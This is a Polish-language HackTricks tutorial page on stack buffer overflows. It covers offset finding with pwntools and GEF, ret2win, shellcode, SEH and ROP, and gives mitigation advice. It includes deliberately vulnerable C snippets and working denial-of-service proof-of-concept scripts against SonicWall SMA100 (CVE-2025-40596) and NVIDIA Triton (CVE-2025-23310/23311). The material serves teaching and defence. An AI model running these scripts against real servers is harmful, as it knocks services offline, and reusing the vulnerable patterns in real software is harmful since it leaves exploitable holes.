Stack Overflow
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest Stack Overflow
stack overflow to podatność, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Nadmiar tych danych nadpisze sąsiednią przestrzeń pamięci, co prowadzi do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie uruchomienia złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic dla danych wejściowych.
Głównym problemem takiego nadpisania jest to, że zapisany wskaźnik instrukcji (EIP/RIP) oraz zapisany wskaźnik bazowy (EBP/RBP), do którego następuje powrót do poprzedniej funkcji, są przechowywane na stosie. W związku z tym atakujący może je nadpisać i kontrolować przepływ wykonania programu.
Ta podatność zwykle pojawia się, ponieważ funkcja kopiuje na stos więcej bajtów niż ilość zaalokowana dla niej, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: strcpy
, strcat
, sprintf
, gets
... Również funkcje takie jak fgets
, read
i memcpy
, które przyjmują argument długości, mogą być użyte w sposób podatny, jeśli podana długość jest większa niż zaalokowana.
Na przykład, poniższe funkcje mogą być podatne:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Znajdowanie offsetów Stack Overflows
Najczęstszym sposobem wykrywania stack overflowów jest podanie bardzo dużego wejścia składającego się z A
(np. python3 -c 'print("A"*1000)'
) i oczekiwanie na Segmentation Fault
, wskazujący, że próbowano uzyskać dostęp do adresu 0x41414141
.
Co więcej, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset umożliwiający overwrite the return address, do tego zwykle używa się De Bruijn sequence. Która dla danego alfabetu o rozmiarze k i podciągów długości n jest cykliczną sekwencją, w której każdy możliwy podciąg długości n pojawia się dokładnie raz jako podciąg spójny.
Dzięki temu, zamiast ręcznie ustalać, który offset jest potrzebny do kontrolowania EIP, można użyć jako paddingu jednej z tych sekwencji, a następnie znaleźć offset bajtów, które ostatecznie go nadpisały.
Do tego można użyć pwntools:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
lub GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Eksploatacja Stack Overflows
Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie overwrite wartości lokalnych zmiennych na stacku aż do zapisanego EBP/RBP and EIP/RIP (or even more).
Najczęstszy sposób nadużycia tego typu podatności to zmodyfikowanie return address, tak aby po zakończeniu funkcji control flow został przekierowany tam, gdzie wskazuje ten wskaźnik.
Jednak w innych scenariuszach samo nadpisanie wartości niektórych zmiennych na stacku może wystarczyć do eksploatu (np. w prostych wyzwaniach CTF).
Ret2win
W tego typu wyzwaniach CTF w binarce znajduje się function, która nigdy nie jest wywoływana, a którą musisz wywołać, żeby wygrać. W tych zadaniach wystarczy znaleźć offset do overwrite return address i adres funkcji do wywołania (zwykle ASLR jest wyłączony), tak aby po powrocie podatnej funkcji została wywołana ukryta funkcja:
Stack Shellcode
W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
Na 32-bit Windows overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH do krótkiego skoku, aby pivot back do dużego bufferu, gdzie znajduje się shellcode. Częsty wzorzec to krótki jmp w nSEH, który ląduje na 5-bajtowym near jmp umieszczonym tuż przed nSEH, aby skoczyć setki bajtów wstecz do początku payloadu.
ROP & Ret2... techniques
Ta technika to podstawowy framework do obejścia głównej ochrony stosowanej przeciwko poprzedniej metodzie: No executable stack (NX). Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall...), które doprowadzą do wykonania arbitrary commands poprzez wykorzystanie istniejących instrukcji w binarce:
ROP - Return Oriented Programing
Heap Overflows
Overflow nie zawsze występuje na stacku — może też być w heap, na przykład:
Types of protections
Istnieje kilka mechanizmów ochronnych próbujących zapobiec exploicie podatności — sprawdź je w:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Dobre pokazanie, dlaczego sscanf
nie powinno być nigdy zaufane do parsowania niesprawdzonych danych wejściowych, pojawiło się w 2025 w urządzeniu SonicWall SMA100 SSL-VPN.
Wrażliwa rutyna wewnątrz /usr/src/EasyAccess/bin/httpd
próbuje wyciągnąć version i endpoint z każdego URI, które zaczyna się od /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Pierwsza konwersja (
%2s
) bezpiecznie zapisuje dwa bajty doversion
(np."v1"
). - Druga konwersja (
%s
) nie ma określnika długości, dlategosscanf
będzie kopiować aż do pierwszego bajtu NUL. - Ponieważ
endpoint
znajduje się na stack i ma długość 0x800 bajtów, podanie ścieżki dłuższej niż 0x800 bajtów uszkadza wszystko, co znajduje się po buforze ‑ w tym stack canary i saved return address.
Jednolinijkowy proof-of-concept wystarczy, aby wywołać crash przed uwierzytelnieniem:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
- Zawsze podawaj maksymalną szerokość pola (np.
%511s
). - Preferuj bezpieczniejsze alternatywy, takie jak
snprintf
/strncpy_s
.
Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) zawierał wiele stack-based overflows dostępnych przez jego HTTP API.
Wrażliwy wzorzec pojawiał się wielokrotnie w http_server.cc
i sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą bieżące ciało żądania HTTP.- Każdy segment powoduje zaalokowanie 16-byte
evbuffer_iovec
na stack za pomocąalloca()
— bez żadnego górnego ograniczenia. - Poprzez nadużywanie HTTP chunked transfer-encoding, klient może zmusić żądanie do podziału na setki tysięcy 6-byte kawałków (
"1\r\nA\r\n"
). To powoduje, żen
rośnie bez ograniczeń, aż stack zostanie wyczerpany.
Dowód koncepcji (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i crash demona na domyślnej kompilacji.
Poprawka i środki zaradcze
W wydaniu 25.07 zastąpiono niebezpieczną alokację na stosie opartą na stercie std::vector
i poprawnie obsłużono std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Wnioski:
- Nigdy nie wywołuj
alloca()
z attacker-controlled sizes. - Chunked requests mogą drastycznie zmienić kształt buforów po stronie serwera.
- Waliduj / ogranicz każdą wartość pochodzącą z client input przed użyciem jej w memory allocations.
Źródła
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.